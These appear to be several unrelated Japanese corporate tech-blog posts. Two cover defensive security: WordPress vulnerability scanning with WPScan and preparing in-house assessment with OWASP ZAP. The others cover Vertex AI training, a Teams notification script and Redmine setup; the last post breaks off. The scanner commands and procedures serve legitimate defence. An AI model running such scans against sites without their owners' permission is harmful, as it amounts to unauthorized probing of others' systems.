はじめに マイナビではマネージドなWordPress基盤「SMEW」が社内向けに提供されており、WordPressを使ったサイトの多くがSMEW上で稼働しています。 ご存知の通り、WordPressは多くの脆弱性が報告されます。脆弱性に迅速に対応できるよう、WPScanとElastic Stackを使って、SMEW上で稼働している各サイトのWordPress脆弱性を自動でスキャンするシステムを開発しました。本記事で簡単に紹介します。 ▼SMEWについての詳細はこちらをご覧ください ###card_post_id=1249### WPScanとは オープンソースのWordPressの脆弱性スキャンツールです。 WPScanを利用してみる WPScanは Kali Linux に標準で入っています。 wpscan --url "https://hogehoge/" --api-token "{token}" -format json オプション url サイトのURL api-token WPScanにユーザ登録した時に発行されるトークン format 出力結果のフォーマット 実行結果(一部抜粋) スキャン結果の「vulnerabilities」のフィールドに、脆弱性名、CVE、Fixのバージョン等の詳細情報が出力されます。 下記、スキャン結果から、All in One SEO Packというプラグインに脆弱性があることがわかります。 ▼スキャン結果 { "main_theme": null, "plugins": { "all-in-one-seo-pack": { "confidence": 30, "confirmed_by": {}, "directory_listing": null, "error_log_url": null, "found_by": "Comment (Passive Detection)", "interesting_entries": [], "last_updated": "2022-03-30T17:01:00.000Z", "latest_version": "4.1.9.4", "location": "https://hogehoge/webroot/plugins/all-in-one-seo-pack/", "outdated": true, "readme_url": null, "slug": "all-in-one-seo-pack", "version": { "confidence": 60, "confirmed_by": {}, "found_by": "Comment (Passive Detection)", "interesting_entries": [ "https://hogehoge/, Match: 'All in One SEO Pack 2.6.1 by'" ], "number": "2.6.1" }, "vulnerabilities": [ { "fixed_in": "3.6.2", "references": { "cve": [ "2020-35946" ], "url": [ "https://www.wordfence.com/blog/2020/07/2-million-users-affected-by-vulnerability-in-all-in-one-seo-pack/" ], "wpvulndb": [ "528fff6c-54fe-4812-9b08-8c4e47350c83" ], "youtube": [ "https://www.youtube.com/watch?v=2fqMM6HRV5s" ] }, "title": "All in One SEO Pack < 3.6.2 - Authenticated Stored Cross-Site Scripting" } ] } }, "requests_done": 186, "start_memory": 52584448, "start_time": 1648701772, "stop_time": 1648701796, "target_ip": "198.51.100.0", "target_url": "https://hogehoge/", "used_memory": 219262976, "used_memory_humanised": "209.105 MB" -略-} Elastic Stackとは Elasticsearch、Kibana、Beats、Logstashの総称。 ログをリアルタイムに検索、分析、可視化することができます。 Kibanaのアラート機能を利用して、特定の条件のログがあったら、SLACK等に通知できます。 自動化の取り組み 処理の流れ SMEW上で管理されたサイト一覧を取得し、DynamoDBに格納する。 スキャン対象キューに入れる ECSTaskを起動し、スキャンを実行する。 脆弱性があるログを検知したら、Slackに通知する。 構成図 通知結果（例） まとめ 今後もSMEWだけでなく、マイナビの全てのサイトのセキュリティを高めるための技術開発に取り組んでいきます。

はじめに こんにちは。AIシステム部のS.Tです。 AIモデルを作るための学習環境といえば、JupyterNotebookを思い浮かべる方も多いと思います。セルにコードを書き、順次実行して結果を確認しながらコーディングを進めることができるので、研究開発には持ってこいのツールとなっています。 ただ、AIに関する業務となると、AIモデルの学習のあと、そのAIモデルの予測結果を、自社のサービスや業務改善に活用するフローを運用するところまでがセットとなります。ビジネス的なニーズによって、定期バッチで実行したり、モデルの予測機能をサーバアプリとして提供する場合もあります。これを行う場合、JupyterNotebookでは少々やりにくいかな、と思います。 Vertex AI Training で、こういったニーズを解決するために、Google Cloud Platform(以降GCP)では、 Vertex AI というAIに特化したプロダクトが開発されております。そのサブプロダクトである Vertex AI Training を用いると、GCPのマネージドな環境で、学習やハイパーパラメータチューニングを行ったり、そのモデルの予測提供するための環境も比較的簡単に作れます。 Vertex AI Trainingでは、 AutoML という、コーディングをせずとも学習ができる方法と、 カスタムトレーニング という、自前でプログラムを用意して学習を実行する方法がサポートされております。今回は、Dockerコンテナを使った カスタムトレーニング の方法を行ってみます。 今回使用する学習タスク 今回は、サンプルですので、機械学習のHelloWorldとも言える、アイリスデータの分類に挑戦してみましょう。モデルは、サポートベクターマシンによる分類器を試してみます。 (あ、ちなみに著者はあまり機械学習モデルの詳しい仕組みについては詳しくないのであしからず。。) データ BigQueryの iris_data というデータセットに iris_table というテーブルを用意しました。列名はこんな感じです。 列名 型 説明 sepal_length___cm__ FLOAT がくの長さ sepal_width___cm__ FLOAT がくの幅 petal_length___cm__ FLOAT 花びらの長さ petal_width___cm__ FLOAT 花びらの幅 label (今回の予測対象) INT アヤメの種類(0, 1, 2) 学習コードを書く ディレクトリ配置 ディレクトリ配置は最終的に以下のようになります。 .├── custom_training│ ├── Dockerfile│ ├── Pipfile # 環境構築用│ ├── Pipfile.lock # 環境構築用│ └── src # 学習用ソースコード│ └── train.py└── docker-compose.yml 環境構築 まずは、 custom_training というディレクトリを作ります。その中に、 src というフォルダを作ります。 mkdir custom_training && cd $_mkdir src いま、 custom_training ディレクトリにいますので、ここで pipenv による環境構築。 pipenv install scikit-learn google-cloud-bigquery pandas click すると、こんな感じになります。 .└── custom_training ├── Pipfile ├── Pipfile.lock └── src では、srcのなかに train.py を作成して、学習コードを書きます。 (以降、GCPプロジェクト名は <YOUR_PROJECT_ID> で伏せています) from __future__ import annotationsimport osimport pickleimport refrom dataclasses import dataclassfrom typing import Unionimport clickfrom google.cloud import bigqueryfrom sklearn.svm import LinearSVCfrom sklearn.model_selection import train_test_split# Vertex AI Trainingの場合は、実際に学習が実行されるGCPプロジェクトIDが# CLOUD_ML_PROJECT_IDという環境変数に格納されるif os.getenv('CLOUD_ML_PROJECT_ID'): client = bigquery.Client(project=os.getenv('CLOUD_ML_PROJECT_ID'))else: client = bigquery.Client()@dataclassclass GCSPath(): bucket: str key: str @classmethod def get_fuse_directory_path_from_gcs_uri(cls, gcs_uri) -> str: """ GCSのURLを受け取って、その場所をCloud Storage FUSE経由で見るためのパスを返す。 """ gcspath = cls.get_gcspath_from_gcs_uri(gcs_uri) return f"/gcs/{gcspath.bucket}/{gcspath.key}" @classmethod def get_gcspath_from_gcs_uri(cls, gcs_uri) -> GCSPath: """ GCSのURL表記からバケット名とキー名を抽出して、GCSPathオブジェクトにして返す """ pattern = "gs://(?P<bucket>[^/]+)/(?P<key>.+)" m = re.match(pattern, gcs_uri) if m: bucket = m.group("bucket") key = m.group("key") return cls(bucket=bucket, key=key) else: raise ValueError(f"{pattern} is invalid GCS URI.")def get_gcsfuse_model_save_dir() -> Union[str, None]: """ GCS上にモデルを保存する用のディレクトリを取得。 Vertex AI Training上で実行していない場合はNoneを返す。 Returns: Union[str, None]: GCS上にモデルを保存する用のディレクトリ。 Vertex AI Training上で実行していない場合はNoneを返す。 Note: Vertex AI Trainingで実行するとき、 自動的に環境変数AIP_MODEL_DIRにモデルの保存先のGCSのURLが渡される。 """ model_save_dir = os.getenv("AIP_MODEL_DIR") if model_save_dir: return GCSPath.get_fuse_directory_path_from_gcs_uri(model_save_dir)def get_training_data(): """学習データをDataFrameで取得する""" df = client.query('SELECT * FROM `<YOUR_PROJECT_ID>.iris_data.iris_table`').to_dataframe() return dfx_col = [ "sepal_length__cm_", "sepal_width__cm_", "petal_length__cm_", "petal_width__cm_"]y_col = "label"@click.command()@click.option("--model-save-dir", type=str, help="学習モデルの保存先")def train(model_save_dir: Union[str, None] = None): """ 学習を実行し、モデルを保存する。 Args: model_save_dir (Union[str, None], optional): ローカル環境で実行するときは指定が必要である。 Vertex AI Trainingで実行するときは指定は不要。 """ # モデルを作成 model = LinearSVC() # 学習データを取得する train_data = get_training_data() X, y = train_data[x_col], train_data[y_col].tolist() X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2) # いざ、学習! model.fit(X_train, y_train) # モデルの保存先を取得する。 # Vertex AI Trainingで学習している場合はGCS Fuseでアクセス可能なディレクトリが # ローカル実行の場合は、引数のmodel_save_dirが使用される。 model_save_dir = get_gcsfuse_model_save_dir() or model_save_dir if not model_save_dir: raise ValueError("モデルの保存先が設定されていません。") # モデルを保存する if not os.path.exists(model_save_dir): os.makedirs(model_save_dir) model_save_path = f"{model_save_dir}/model.p" with open(model_save_path, "wb") as fp: pickle.dump(model, fp)if __name__ == "__main__": train() ためしに動かしてみます。 # BigQueryのテーブルが存在するプロジェクトをデフォルトプロジェクトにするgcloud config set project <YOUR_PROJECT_ID># 学習を実行するpipenv run python src/train.py --model-save-dir $(pwd) 学習が実行されて model.p というファイルが生成されました。 Dockerイメージを作る 今回はカスタムコンテナを使ってVertex AI Trainingで学習しますので、Dockerイメージを作成します。 custom_training/ ディレクトリ内に Dockerfile を作ります。 FROM python:3.9.6COPY ./Pipfile.lock /app/COPY ./src /app/srcWORKDIR /appRUN pip install pipenvRUN pipenv sync# ENTRYPOINTで学習実行スクリプトが開始するようにする！ENTRYPOINT pipenv run python src/train.py docker-compose.yml を、 custom_training の親ディレクトリに作ります。 services: backend: image: vertex-custom-training/iris_data build: context: ./custom_training ビルド docker compose build リポジトリにプッシュ Vertex AI Trainingから見える位置(GCP環境上か、Docker Hub)に、Dockerイメージをプッシュしましょう。 今回はGCP内のプライベートなコンテナレジストリであるGoogle Container Registry(GCR)にプッシュします。 # GCRの認証ヘルパーを設定。gcr.ioに認証できるようになるgcloud auth configure-docker# あとはpushするdocker tag vertex-custom-training/iris_data:latest gcr.io/<YOUR_PROJECT_ID>/vertex-custom-training/iris_data:latestdocker push gcr.io/<YOUR_PROJECT_ID>/vertex-custom-training/iris_data:latest Vertex AI Trainingで実行する 手元環境用に、 google-cloud-aiplatform をインストールします。 pipenv install --dev google-cloud-aiplatform custom_training 内に、 submit-training-job.py を作成します。 from google.cloud import aiplatformdisplay_name = "verify-vertex-ai-training-iris"# さっき作ったDockerイメージのURLimage_uri = "gcr.io/<YOUR_PROJECT_ID>/vertex-custom-training/iris_data:latest"# ステージング(モデルを置いたりチェックポイントをおくところ)用のバケットを1つ作るstaging_bucket = "gs://<YOUR_BUCKET_NAME>/verify-vertex-ai-training-iris/staging"custom_job = aiplatform.CustomContainerTrainingJob( display_name=display_name, container_uri=image_uri, staging_bucket=staging_bucket)custom_job.run( machine_type="e2-standard-4") このスクリプトを実行すると、Vertex AI Training上で学習が実行できます。 pipenv run submit-training-job.py 学習が完了すると、 submit-training-job.py 内で変数 staging_bucket に設定したGCSの場所に、モデルが保存されていると思います。 感想とまとめ 今回は普通にモデル学習のみを行う部分を作ってみました。 アイリスデータのような小さなデータであれば、デスクトップ上でも実行できてしまいますが、実際もっと大きなデータを扱う場合は、もっと大きな計算リソースが必要になる場合もあります。 大きな計算リソースでNotebookを手動で実行することもできますが、Vertex AI Trainingのようなマネージド学習環境を使うと、学習が終わると使われた計算リソースが勝手に落ちるので、安心だしコスト効率もいいと思います。 また、すごーく長くなりそうなので今回は触れなかったのですが、分散処理やハイパーパラメータチューニングも、コスト効率よく実行できたり、予測サービスとして提供する場合のコンテナも簡単に作れるので、機会があればやってみたいと思います。 ※サムネ画像で利用しているロゴはVertex AI Trainingより引用

はじめに この記事は、自分が効率化をしていくうえでGASを用いたので、GASの使い方を載せたものです。 今回の内容としては、スプシの内容を整形してTeamsに通知するというものになります。 準備 まず、GASで整形した内容をTeamsに送るために準備が必要になります。 まずは、Teams上にチャネルを用意します。 用意したら、三点リーダーからコネクトを選択し、Incoming WebHooksをクリックします。 Incoming WebHooksのセットアップを作成すると、URLが発行されるので、大切にとっておきましょう。 これで準備は終わりです。 内容 まずは、Teamsに内容を送る関数notificationを作成します。 function notification(title,completetext){ var payload = { 'title' : title , //投稿の題名 'text' : completetext //投稿の本文 }; var options = { 'method' : 'post', 'contentType' : 'application/json', 'payload' : JSON.stringify(payload), // jsの値をJSON文字列に変換する }; 　var url = 'URL'; //さきほど大切にとっておいたURLを記入 UrlFetchApp.fetch(url, options); //送る } 上記のコードを簡単に説明すると、通知する内容をTeamsに適切に表示し、通知できるようにするコードです。 コード内にある、title,textについては次の関数で中身を入れます。 次に、スプシの内容を読みこみ、内容をTeams上で表示できるようにするgetmessage関数を作成します。 function getmessage(content){ console.log(JSON.stringify(content)); //メッセージを表示させる//スプシ関連 var ss = SpreadsheetApp.openById("フォルダID");//スプシのフォルダIDを入力 var sheet = ss.getSheetByName('通知内容'); //読み込むスプシ var range = sheet.getDataRange(); //全範囲を指定 var values = range.getValues();//データ取得 ①上記のコードのSpreadsheetApp.openByIdの後にスプシのフォルダIDをいれます。 ②getSheetByNameの後にはシート名をいれます。 では、内容の作成にいきます。 今回はスプシにある内容から明日の予定を抽出し、出力する内容にします。 //日付関連 var date = new Date(); //現在の日本の日付を取得 var onedate = new Date(date.getFullYear(), date.getMonth(), date.getDate() + 1); //1日後にする var twodate = new Date(date.getFullYear(), date.getMonth(), date.getDate() + 2); //2日後にする//タイトル var title = '明日の予定'//本文 var row = sheet.getLastRow(); //最終行の取得 var text = ''; for (var i=1; i<row; i++){ var text1 = ''; if(values[i][0] >= onedate && values[i][0] < twodate){ text1 = text1 + '\n\n<br><u>**' + '・名前:'+ values[i][1] + '**</u>'; text1 = text1 + '\n\n・時間：' + values[i][3]; text1 = text1 + '\n\n・内容：' + '**'+values[i][2] + '**'; text = text + text1; } } if(text == ''){ text = '明日の予定はありません' } notification(title,text);} Teamsに通知がきました。 おわりに 今回は簡単な出力にしましたが、もっとたくさん活用できます。 また、私自身もまだまだ初心者なのでより便利に使いこなせるように精進してまいります。

はじめに 私の所属するサイバーセキュリティ課では、マイナビグループの事業発展をサイバーセキュリティで支えるべく、日々業務に励んでいます。 サイバーセキュリティに関することは何でもやる！という部署で、主に以下のような業務に取り組んでいます。 セキュリティモニタリング セキュリティエンジニアリング セキュリティポリシーや制度の立案・運用 システム企画、設計のレビュー システム実装、運用の支援 インシデントハンドリング サイバーセキュリティに関する情報収集と提供 セキュリティ教育、訓練 現在、私は脆弱性関連を担当しており、脆弱性診断の内製化に取り組んでいます。 本記事では、脆弱性診断の内製化（内製診断）にあたり準備したことをまとめました。 なぜ内製化？ マイナビでは、規模の異なる多数のWebサイトを管理しています。 定期的な脆弱性診断を実施するにも、すべてを外部業者に依頼するには、時間もコストもかかりすぎてしまいます。 そこで、一部Webサイトでの脆弱性診断を内製化することで、タイムリーかつコストパフォーマンスよく実施できると考えました。 準備すること 診断方法やツールを選定する 診断すべき脆弱性項目を一覧化する 脆弱性の評価基準を決定する ユーザーからの申請方法を決定する 1. 診断方法やツールを選定する どのように診断を行なうのかを決めます。 ツールを用いた自動診断だけなのか、手動診断も行なうのか、ツールは何を使うのか・・などです。 診断ツールは、無償で利用できるものもあります。「OWASP ZAP」や「Burp Suite」が有名です。 OWASP ZAPを試してみる OWASP ZAPは、オープンソースの脆弱性診断ツールです。 ナレッジが多く、導入が簡単なため、まずはこちらを試してみることにしました。 ソフトウェアのインストール 以下のソフトウェアをインストールします。 OWASP ZAP Java Firefox（診断時に利用するブラウザ） 各種設定 OWASP ZAPのローカルプロキシ機能を設定します。 OWASP ZAPを起動し、歯車マークからローカルプロキシの設定を開きます。 デフォルトでは localhost:8080 となっていますが、必要に応じて変更します。 診断時に利用するブラウザを開き、OWASP ZAPのローカルプロキシの値を設定します。 Firefoxの場合は「FoxyProxy Standard」という拡張機能が便利です。 スキャン実行 ※第三者のWebサイトに、勝手に脆弱性診断を行うと攻撃とみなされます。診断を行なう際は、自身で管理しているWebサイトに限ってください。 プロキシを設定したブラウザ（Firefox）から診断対象にアクセスすると、OWASP ZAPの左ペインにWebサイトのURLが追加されます。 OWASP ZAPには、4つのモードがあります。 「攻撃モード」「標準モード」は、対象外のWebサイトへも診断を行なってしまう可能性があるため、「プロテクトモード」でのスキャン実行がおすすめです。「セーフモード」ではスキャンが行なえません。 「プロテクトモード」では、診断対象をコンテキストに含めることでスキャンが可能になります。 診断対象のURLを右クリックし、「攻撃」を選択するとスキャンが実行されます。 スキャンは、「スパイダー」と「動的スキャン」の2つがあります。 スパイダー 診断対象に存在するURLを洗い出し、レスポンスの内容などを検査します 動的スキャン リクエストパラメータを変えるなどして検査をします レポート生成 メニューバーの「レポート」から診断結果を生成することができます。 HTMLやPDFなど形式を選択できます。 2. 診断すべき脆弱性項目を一覧化する IPAや脆弱性診断士スキルマッププロジェクトなどで、一覧化された脆弱性項目が公開されています。 マイナビでは、 OWASP ASVSなどを参考に策定したセキュリティチェックシートが存在するため、これらを掛け合わせて診断すべき項目を一覧化しました。 実際に診断を行なう際は、対象サイトの仕様に応じて診断すべき項目を精査します。 3. 脆弱性の評価基準を決定する 発見された脆弱性が、どの程度影響のあるものなのかを評価するための基準を決めます。 高・中・低・情報レベルで分けることが多いかと思います。 マイナビでは単に脆弱性自体の危険性だけでなく、SSVCを用いて実際の影響度を考慮し判断することにしました。 SSVCは、判断ポイントがわかりやすく、ユーザーにも説明がしやすいという点で採用しました。 SSVCとは？ 脆弱性を対応する基準として、多くの場合はCVSSのベーススコアや深刻度を用いますが、 これは「脆弱性自体の危険性」を表しており、対応の優先順位付けを行なうには情報が不十分です。 実際の影響度は、システムが置かれている環境や扱っている情報の重要度により変わってきます。 SSVCは、この問題を解決するために考案された脆弱性管理のフレームワークです。 以下の4つの情報をインプットとして、4段階の対応レベルを導出します。 情報 攻撃コードの公開有無と悪用レベル 攻撃者にとっての有用性 システムの露出レベル 攻撃された際の業務影響 対応レベル Immediate 全てのリソースを集中し必要に応じて組織の通常業務を停止して可能な限り迅速に対応する Out-of-Cycle 通常よりも迅速に行動し、計画外の機会に緩和策または修復策を実施する Scheduled 定期メンテナンス時に対応する Defer 現時点では対応しない 4. ユーザーからの申請方法を決定する 内製診断を実施したいユーザーからの受付窓口が必要です。 ヒアリングも兼ねて、以下のような項目を入力するフォームを用意しました。 部署名・氏名 サイト名・サイトURL サイトの仕様 プラットフォーム、OS、開発言語、構成など 診断実施希望日 リリース予定日 いつまでに診断を完了する必要があるか確認するためです 注意事項の確認 診断実施にあたり注意事項のページを別途用意しました まとめ 今回は、内製診断をスモールスタートするために準備したことをまとめてみました。 ここに記載したツールの利用方法や評価基準だけでなく、脆弱性に対する理解は必須です。 ユーザーに安心してWebサイトを利用してもらえるように、抜け漏れなくしっかりと診断を実施していきたいと思います。 サイバーセキュリティ課では、様々な施策に取り組んでいます。 脆弱性診断に限らず、さまざまなセキュリティ知識を身に着けるべく自身のスキルアップにも努めてまいります。💪 最後まで読んでいただきありがとうございました！

はじめに こんにちは、IT企画推進部のA.Hです。 IT企画推進部は、デジタルテクノロジー戦略本部内の教育や組織活性を主に担当する部署で、入社した新卒の研修の企画・運営などを担当しています。 例年、マイナビ社に入社したWeb/IT系の新卒は、入社後3か月程度の研修に入りますが、その研修期間中は、研修の最後に日報を提出して一日を締めくくります。 今年からは、新卒研修の日報を管理するシステムとしてRedmineを設定し、提供致しました。 その導入に至った背景、設計の考え方、実際の設定の 雰囲気 などを書いてみようと思います。 （この7つの矩形が何を表すのかはよく分からない。） 導入の背景 さて、一口に日報といっても、会社の業種や規模によって、日報の提出先や確認フローなどは様々かと思います。 そもそも日報管理にシステム？と思う方もいらっしゃるかも知れません。 例えば、チャットツールにチャネルを作り、今日学んだことを新卒が投稿して、それに先輩がコメントやスタンプをつける、という形式でも、十分に日報として成立します。 実際、去年まではチャットやスプレッドシートの活用によって日報活動を行っていました。 現在のマイナビ社はデジタルテクノロジー領域に大変に力を入れており、新卒採用を積極的に行った結果、2022年度は数十名程度のWeb/IT職の新卒が入社することとなりました。 ・・・そうなってくると、ファイルベースでの更新・閲覧は一覧性や可読性、更新検知において段々と窮屈になってきます。 日報は、新卒の学びの定着のための振り返りであると同時に、先輩からのコメントをもらうコミュニケーションの場でもあります。 また、少し考えてみれば、『あるテーマにそって投稿が行われ、関係者が閲覧してコメントを行う』という行動パターン自体は、エンジニアであれば管理ツール・プロジェクト管理ツールの中で、日々実践しているおなじみの行動です。 新卒はWeb/IT職で、先輩達も当然Web/IT職です。 だったらRedmineで良くね？ と思い立ったのが、導入の経緯です。 じゃ、なんでRedmineなの？BacklogとかAsanaじゃだめなの？ ITSを日報報告に使うなら、まだリテラシーが低い新卒が混乱しないために、通常よくある機能（例えば工数、開始日・終了日とか）を削るような方向になる。 ⇒ツールの自由度が求められる。 新卒は書く人、先輩は読む人。通常の開発のようにメンバーが同じ権限ではなく、ロールが全く異なりやる事も異なる。特に、新卒は出来ることを限定して迷わないようにしたい。⇒運用ルールが極力システムで表現できる。 多分、多少の改善はあれど来年も同じことをやる可能性が高い。構造だけコピーして使いまわしたい。 お金を掛けたくない。何故ならお金を掛けたくないから。 上記の要求に答えるプロダクトは、正直Redmineくらいしか思い当たりません。 多少の予算があれば機能的にはJiraは選択肢になると思いますが、「多くの先輩にみてもらう」という要件と、アカウント課金は相性が悪すぎます。 日報を掲示板の延伸的な感覚で使う分には、運用ルールの徹底がなされればどのようなBTS/ITSでも使えると思いますが、ただでさえ入社して色々な事を詰め込まれる新卒、日々の業務で忙しい会社の先輩達に、ルールを覚えてもらうことを期待するのは酷というものです。 エンドユーザーに提供する機能を削り、統制を提供するという観点においては、やはりRedmineに軍配があがります。この部分において、BacklogやAsanaは最適解ではないと思います。 などと色々と理由を書きましたが、勿論、 新卒の日報管理のためだけにド新規のシステムなんて入れてられない という話もあります。 幸い、別用途で管理者権限を持つRedmine環境を持っているため、日報管理という業務を理解して、それをRedmineの設定に落とし込めれば、ITSで実現できるな、と思えたわけです。 日報管理という業務 端的には、『新卒が日報を書き、先輩や、研修運営チームはそれを確認してコメントする』だけです。 文字に起こせば当たり前のことを書いていますが、少なくともユースケースに登場しそうなアクターが三種類も登場しています。 もう少し具体的に考えてみます。 新卒のやること 新卒は、Web/IT職採用とはいえ、完全なる初心者です。 基本的には何も知らないし、不都合なことをやりうる可能性があることを想定して考慮します。 まず、新卒は自分の書いたチケットは編集できても、他の新卒が書いたチケットは編集できてはいけません。 開発の課題管理であれば、他の人が書いた誤りを訂正出来るので良いですが、今回は新卒研修なので他の人が編集したり、誤って消したりしないようにする必要があります。 また、Redmineは一度削除したチケットを復元する機能は標準では存在しないため、そもそもチケット削除の権限を取り上げる必要があります。 BTS/ITSそのものにも慣れていません。日報記入に関係がない項目は極力画面から消します。 長い目で見ればトラッカーやステータスなどはしっかり教えたい所ですが、今回はそれすらも意識させないように消します。 私達の研修では、先輩役はローテするので新人は自身の先輩を知り得ません。 なので、「担当者」欄も、今はいりません。 一方で、例えばKPTなど必ず入力してほしい項目は記入されて欲しいです。 同期の新卒が書いた日報は、見せることも見せないようにすることも出来ます。 私達は、「良い日報は他の新卒にも真似をしてほしい」と考えているので、見せるようにします。 先輩のやること 先輩は、日報は書きませんので、新規チケットを作成したり、誰かのチケットを編集する必要はありません。 コメント（注記）が出来ればよいです。 運営研修チームのやること 運営管理者は、ふるまいはほとんど先輩と同じですが、万が一に備えてチケットを追加編集する権限は持っておきたいところです。 Redmineの設定への落とし込み 日報管理にまつわることは、何となく伝わりましたでしょうか。 ユースケースを考える時、私はユーザーの行動を起点に機序を想像するんですが、 Redmineのどのあたりの機能でそれを表現するかは、因数分解をするような感じで、あてはめていきます。 Redmineの機能の全体像 まず、Redmineの全体像を簡単にご紹介致します。 界隈では鉄板ですが、JAXAの方がまとめた下記の図をご確認下さい。 引用： https://www.jss.jaxa.jp/about_coda/ Redmineの仕組みは、上図の通り複層的です。 この辺りの仕組みは管理者権限を得てもシステム内で特に説明がないため、割と初見殺しな部分です。 それだけに色々な使い方が出来るのですが、とりあえず一つだけ、太字の部分を覚えて下さい。 上図の「論理的な定義」に含まれるものは、Redmineの環境単位で共通の設定です。 あるプロジェクトAとBで、トラッカーXを使っているとしたら、トラッカーXの修正はプロジェクトAとBに影響を与えます。 新しいRedmine環境なら、自由にトライアンドエラーをすればいいと思います。 既存のRedmine環境においては、必ず先輩の管理者権限の指示やシキタリに従ってください。 プロジェクト全ての設定を一律で変更出来るのは、メリットであると同時に、 下手に触ると、それはもう凄いことが起こります。 慣れないうちはサンドボックスを用意するか、使いまわさずに独自のものでやりましょう。 という訳で、日報を実現するためにRedmineのどこをいじるかを考えながら設定していきます。 ロールの考え方 文字通り、権限をつかさどる機能です。 Redmineのロールの仕組みは、70を超える細かい機能の利用有無をそれぞれチェックして、 ロールに好きな名前をつけることが出来ます。 例えば、新卒のロールを設定する画面はこんな感じです。 新卒は自分の書いたチケットは編集できても、他の新卒が書いたチケットは編集できてはいけません。 上記要件に関連する設定は、この辺りです。 「チケットの編集」なら、誰が書いたチケットでも編集可能ですが、「自分が追加したチケットの編集」は、自分が書いたチケットでなければ編集が出来ない権限です。 （ちなみに、両方適用すると強い方の前者が適用されます。） Redmineは一度削除したチケットを復元する機能は標準では存在しないため、 そもそもチケット削除の権限を取り上げる必要があります。 これもチケットトラッキング周りです。上の図のチケットの削除をオフにします。 Redmineにはゴミ箱による一時退避のような機能はありませんので、基本的にはオフを推奨します（二度目） 今回は新卒・先輩上司・運営と3つの役割が存在していますので、 この3つを設定していくことになります。 試しに、先輩上司のロール設定を見てみましょう。 今回の日報管理には下記の要件がありますので、 先輩は、日報は書きませんので、新規チケットを作成したり、 誰かのチケットを編集する必要はありません。 コメント（注記）が出来ればよいです。 チケットの追加にチェックが入っていません。 おまけ：他の新卒が書いたチケットを見せたくない場合。 日報とは別に、後続課程の新卒向けのインターンシップの報告書については、ネタバレ防止などの観点から他の新卒が書いた日報は見れないように変更しました。 この設定は「表示できるチケット」の項目を「作成者か担当者であるチケット」に設定することで実現します。 ただし、1つのロールでは1通りなため、別のロールとして定義して提供しました。 ロールで出来る事の雰囲気が伝われば幸いです。 トラッカーの考え方 トラッカーは『行動パターンの大分類』です。 今回は新卒からの日報以外の行動パターンはありませんので、トラッカーは「日報」だけがあれば大丈夫です。 トラッカーの設定画面はこんな感じです。 Redmineは、標準フィールドすら使わないことが選べます。 一般的な開発用途であれば、担当者や日付情報などは必須ですが、その日かけば期日もなにもなく、新卒が書いたものを先輩は寄ってたかって読むので担当者も不要。 BTS/ITSそのものにも慣れていません。日報記入に関係がない項目は極力画面から消します。 なので、標準フィールドでは説明だけが残ります。 一方、研修担当としては書いてほしい事は色々ありますので、 カスタムフィールドとして項目を定義します。 今回の研修においては、KPTと自由記入欄を分け、振り返ってほしいことをしっかり入力してもらうようにシステム側で制御をしています。 Redmineは、アカウント情報に事業部や例えば趣味などのカスタムフィールドを拡張することは出来ますが、チケット内に拡張したアカウント情報をLookupするような機能はありません。 なので、新卒は毎回配属事業部を入力しなければならないのでちょっと面倒です。 まぁ書いて覚えることもあるだろうということで。。。 配属事業部やチーム名は、後々一覧画面などで検索する時に必要なため、つけています。 カスタムフィールドの考え方 一方で、例えばKPTなど必ず入力してほしい項目は記入されて欲しいです。 チケットの入力項目のカスタマイズをしたいのであれば、カスタムフィールドです。 先述の通り、トラッカーが定まると、その行動パターンで必ずやってほしいことの土台が何となく見えてきます。 研修日報は、できたこと、できなかったことなど書いてほしいことが明示的です。 帳票項目については、カスタムフィールドを利用することで帳票っぽく仕上げていきます。 例として、Keepの項目のカスタムフィールドはこんな感じです。 一度カスタムフィールドを設定した後、形式を切り替えるは出来ませんが、 こんな感じの選択肢があります。 おまけ：特定の人にしか見せたくないフィールドを作りたい デフォルトでは表示の項目は「すべてのユーザー」が選択されていますが、特定のロールのみ表示するという制御が出来ます。 この部分です。 例えば、社外からの問い合わせに対して、社内でのやりとりを問い合わせしてきた人に見せたくない場合など、同じチケットでも閲覧ロールによって情報を出し分けしたい時などに活用します。 私達の日報管理システムでは特に出番はありませんでしたが、 新卒インターンシップの報告書トラッカーにおいては、メンター⇒管理職と情報を申し送りしたので、その時に活用しました。 ステータスの考え方 ステータスは、チケットの考えうる状態のことです。 例えば、お仕事は「未着手」⇒「対応中」⇒「完了」というフローなのであれば、ステータスはその3つを設定します。 日報にはどういう状態が考えられるでしょうか？ まず、新卒の研修が終わった直後、これから日報（のチケット）を書く場合、『未着手』の状態です。 研修日報をすべてチケットとして予めセットするのであれば、 まだ誰も手をつけていない『未着手』という状態ですが、 『研修終了後、15分以内にチケット追加して書いて下さいねー』という場合、 未着手である時間はほとんど存在しないため、『記入済み』という状態から初めてもいいかも知れません。 日報が『記入済み』になったら、先輩上司や運営チームは一定期間の間でチケットを確認してコメントを書きます。 先輩上司と運営チームのどちらが先にコメントを書くか分からないので、一定期間が終了したら、チケットを終了の状態に変更すれば良さそうです。 ステータスの詳細画面はこんな感じで、 Redmineのステータスでは、「終了したチケット」としてステータスを設定すると、 チケットの検索一覧で完了したチケットとして扱われます。 チケット一覧は未完了のチケットのみ表示する設定になっていることが多いので、 もう対応する必要がないチケットを一覧から消し込むことで、先輩上司や運営チームはコメントが捗りそうです。 ステータスの一覧画面はこんな感じです。 この一覧では、このRedmine環境に登場する全てのステータスが表示されています。 日報という業務の流れにおいては、記入済みと完了だけで良いと決めたので、 どこかでこの業務の流れ、 ワークのフロー を指定してやる必要があります。 おまけ：進捗率の2つの考え方 Redmineは、チケット個別に進捗率を手動入力するモードと、ステータスにデフォルトの進捗率を持たせて手動管理しない、二つのモードがあります。 このモードは環境で単一設定のため、どちらかしか選べません。 管理 ＞ 設定 ＞チケットトラッキングから選べます。 ワークフローの考え方 ワークフローとは、トラッカーとロール別に、カスタムフィールドやステータスの制御を行う設定画面です。 この機能により、新卒は余計な項目の表示を削る、操作できないようにする、完了ステータスに変更できないようにする、などの運用ルールをシステムの機能として設定することが出来ます。 日報トラッカー×新卒のステータス遷移はこんな感じです。 新しいチケットは「記入済み」のみで作成可能で、作成済みから勝手に完了できないようにしています。 一方で、運営ロールは完了しても良いし、誤って完了した場合は記入済みに戻せても良いので、こんな感じになります。 新卒ロールに戻って、フィールドに対する権限タブを見てみましょう。 制約をたくさん入れているのでこんな感じです。 プロジェクトの考え方 チケットは必ずプロジェクトに紐づきます。 プロジェクトでは、使用する機能モジュール、紐づけるユーザーとそのロール、トラッカーとカスタムフィールド、などを定義します。 